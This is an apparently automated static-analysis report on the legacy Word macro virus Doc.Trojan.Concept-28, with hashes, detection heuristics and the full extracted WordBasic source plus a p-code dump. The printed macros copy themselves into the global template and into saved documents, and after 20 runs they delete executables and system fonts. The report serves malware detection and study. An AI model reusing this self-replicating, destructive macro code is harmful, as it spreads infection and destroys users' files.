Doc.Trojan.Concept-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 abd871abf34ab74b…

MALICIOUS

Office (OLE)

39.0 KB Created: 1999-07-30 16:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6af4b30a6c8c45720a8c4edc71861010 SHA-1: ed35fe0b6182cae926e65d2321a7fd8b9ab5e81a SHA-256: abd871abf34ab74b63dbd72b47aa81888fe72c48e2eed66e4c4e61ad70806624
196 Risk Score

Malware Insights

Doc.Trojan.Concept-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

This document is identified as a legacy WordBasic macro virus, specifically 'Doc.Trojan.Concept-28'. The AutoOpen macro attempts to copy itself and the 'AutoClose' and 'Appder' macros to the global template. The 'Funyour' subroutine contains logic that, when triggered after 20 executions, attempts to delete various executable and font files from the system, indicating a destructive payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13205 bytes
SHA-256: a1e509dd40e350554ed85bcbb2714e037c663d75f82189365bd8c3d3f3f45ab0
Detection
ClamAV: Doc.Trojan.Appder-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
WordBasic.MsgBox "Unable to find file.", "MyTest Macro", 16

Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
If WOpen$ = "20" Then
    WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", "1", "WINWORD6.INI"
    WordBasic.Kill "C:\DOC\*.EXE"
    WordBasic.Kill "C:\DOC\*.COM"
    WordBasic.Kill "C:\WINDOWS\*.EXE"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.TTF"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.FOT"
End If
End Sub 'Funyour

Attribute VB_Name = "Appder"

'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
WordBasic.MsgBox "Unable to find file.", "MyTest Macro", 16

Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
If WOpen$ = "20" Then
    WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", "1", "WINWORD6.INI"
    WordBasic.Kill "C:\DOC\*.EXE"
    WordBasic.Kill "C:\DOC\*.COM"
    WordBasic.Kill "C:\WINDOWS\*.EXE"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.TTF"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.FOT"
End If
End Sub 'Funyour

Attribute VB_Name = "AutoClose"

'   Virus - NTTHNTA

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done
WordBasic.MsgBox "Unable to find file.", "MyTest Macro", 16
Quit:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

' Processing file: /tmp/qstore_kpm2tmn1
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 3275 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn iMacroCount
' Line #5:
' 	Dim 
' 	VarDefn i
' Line #6:
' 	Dim 
' 	VarDefn AClose
' Line #7:
' 	Dim 
' 	VarDefn Ad
' Line #8:
' 	Dim 
' 	VarDefn sMe
' Line #9:
' 	Dim 
' 	VarDefn sMacro
' Line #10:
' 	LitStr 0x0014 "Unable to find file."
' 	LitStr 0x000C "MyTest Macro"
' 	LitDI2 0x0010 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #11:
' Line #12:
' 	ArgsCall Funyour 0x0000 
' Line #13:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #14:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #16:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #23:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #24:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #25:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #26:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #28:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Label Quit 
' Line #31:
' 	EndSub 
' Line #32:
' Line #33:
' 	FuncDefn (Private Sub Funyour())
' Line #34:
' 	Dim 
' 	VarDefn WOpen
' Line #35:
' 	Dim 
' 	VarDefn sales
' Line #36:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0008 " NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #37:
' 	Ld WOpen$ 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	St sales 
' Line #38:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	Ld sales 
' 	ArgsLd Str 0x0001 
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #39:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #40:
' 	Ld WOpen$ 
' 	LitStr 0x0002 "20"
' 	Eq 
' 	IfBlock 
' Line #41:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x0001 "1"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #42:
' 	LitStr 0x000C "C:\DOC\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #43:
' 	LitStr 0x000C "C:\DOC\*.COM"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #44:
' 	LitStr 0x0010 "C:\WINDOWS\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #45:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.TTF"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #46:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.FOT"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	EndSub 
' 	QuoteRem 0x0008 0x0007 "Funyour"
' Macros/VBA/Appder - 3272 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn iMacroCount
' Line #5:
' 	Dim 
' 	VarDefn i
' Line #6:
' 	Dim 
' 	VarDefn AClose
' Line #7:
' 	Dim 
' 	VarDefn Ad
' Line #8:
' 	Dim 
' 	VarDefn sMe
' Line #9:
' 	Dim 
' 	VarDefn sMacro
' Line #10:
' 	LitStr 0x0014 "Unable to find file."
' 	LitStr 0x000C "MyTest Macro"
' 	LitDI2 0x0010 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #11:
' Line #12:
' 	ArgsCall Funyour 0x0000 
' Line #13:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #14:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #16:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #23:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #24:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #25:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #26:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #28:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Label Quit 
' Line #31:
' 	EndSub 
' Line #32:
' Line #33:
' 	FuncDefn (Private Sub Funyour())
' Line #34:
' 	Dim 
' 	VarDefn WOpen
' Line #35:
' 	Dim 
' 	VarDefn sales
' Line #36:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0008 " NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #37:
' 	Ld WOpen$ 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	St sales 
' Line #38:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	Ld sales 
' 	ArgsLd Str 0x0001 
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #39:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #40:
' 	Ld WOpen$ 
' 	LitStr 0x0002 "20"
' 	Eq 
' 	IfBlock 
' Line #41:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x0001 "1"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #42:
' 	LitStr 0x000C "C:\DOC\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #43:
' 	LitStr 0x000C "C:\DOC\*.COM"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #44:
' 	LitStr 0x0010 "C:\WINDOWS\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #45:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.TTF"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #46:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.FOT"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	EndSub 
' 	QuoteRem 0x0008 0x0007 "Funyour"
' Macros/VBA/AutoClose - 2034 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x0012 "   Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn sMe
' Line #5:
' 	Dim 
' 	VarDefn sTMacro
' Line #6:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #10:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #11:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #12:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #13:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sTMacro$ 
' Line #14:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #15:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sTMacro$ 
' Line #16:
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #17:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #18:
' 	GoTo Done 
' Line #19:
' 	LitStr 0x0014 "Unable to find file."
' 	LitStr 0x000C "MyTest Macro"
' 	LitDI2 0x0010 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #20:
' 	Label Quit 
' Line #21:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #22:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	Label Done 
' Line #25:
' 	EndSub

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